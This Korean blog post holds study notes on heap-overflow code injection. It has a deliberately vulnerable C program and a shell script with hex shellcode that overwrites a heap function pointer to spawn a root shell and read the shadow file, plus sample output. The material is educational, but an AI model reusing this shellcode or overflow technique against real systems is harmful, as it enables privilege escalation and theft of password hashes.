다양한 기록

Heap Overflow with code injection 본문

운영체제보안

Heap Overflow with code injection

라구넹 2024. 12. 5. 15:11

Code-injection Attacks

- 컨트롤 하이재킹 어택의 서브클래스 .. 삽입된 악성 코드에 의해 의도된 컨트롤 플로우를 파괴

 

쉘코드

- 오버플로우되어 버퍼에 저장되는 경우가 많음

- 컨트롤을 쉘로 옮겨버림

- 기계어코드로 프로세서와 OS에 종속적


Heap Overflow

// Vulnerable heap overflow C code
typedef struct chunk
{
    char inp[64];
    void (*process)(char *)
} chunk_t;

void showlen(char *buf)
{
    int len;
    len = strlen(buf);
    printf("buffer read %d chars\n", len);
}

int main(int argc, char *argv[])
{
    chunk_t *next;
    setbuf(stdin, NULL);
    next = (chunk_t *)malloc(sizeof(chunk_t));
    
    next->process = showlen;
    
    printf("Enter value: ");
    gets(next->inp);
    
    next->process(next->inp);
    printf("buffer done\n");
}

chunk에서 inp가 먼저 선언되어 있음 -> 힙이니까 inp가 더 아래로 가고 함수 포인터가 그 위임

=> 오버플로우로 덮어쓰기 가능

 

// Example heap overflow attack
$ cat attack
#!/bin/sh
# implment heap overflow against program buffer
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
"ffffff2f62696e2f7368202020202020" .
"b89704080a");
print "whoami\n";
print "cat /etc/shaadow\n";'

$ attack | buffer
Enter value:
root <- 이 부분이 whoami ..
root:$1$??????$????????:13345:0:99999:7:::
.....

타겟 어드레스: 0x080497b8

inp 64바이트짜리니까 64바이트만큼 채우고

그 다음에 리틀 엔디안으로 b89704080 작성 (x86 아키텍처 기준)

'운영체제보안' 카테고리의 다른 글

Return-to-libc Attacks (Ret2Libc) / 실습  (0) 2024.12.05
Heap Overflow with code reuse  (0) 2024.12.05
Control Hijacking Attack  (0) 2024.12.05
BoF - Countermeasures & 파훼법  (0) 2024.12.04
Shellcode  (0) 2024.12.04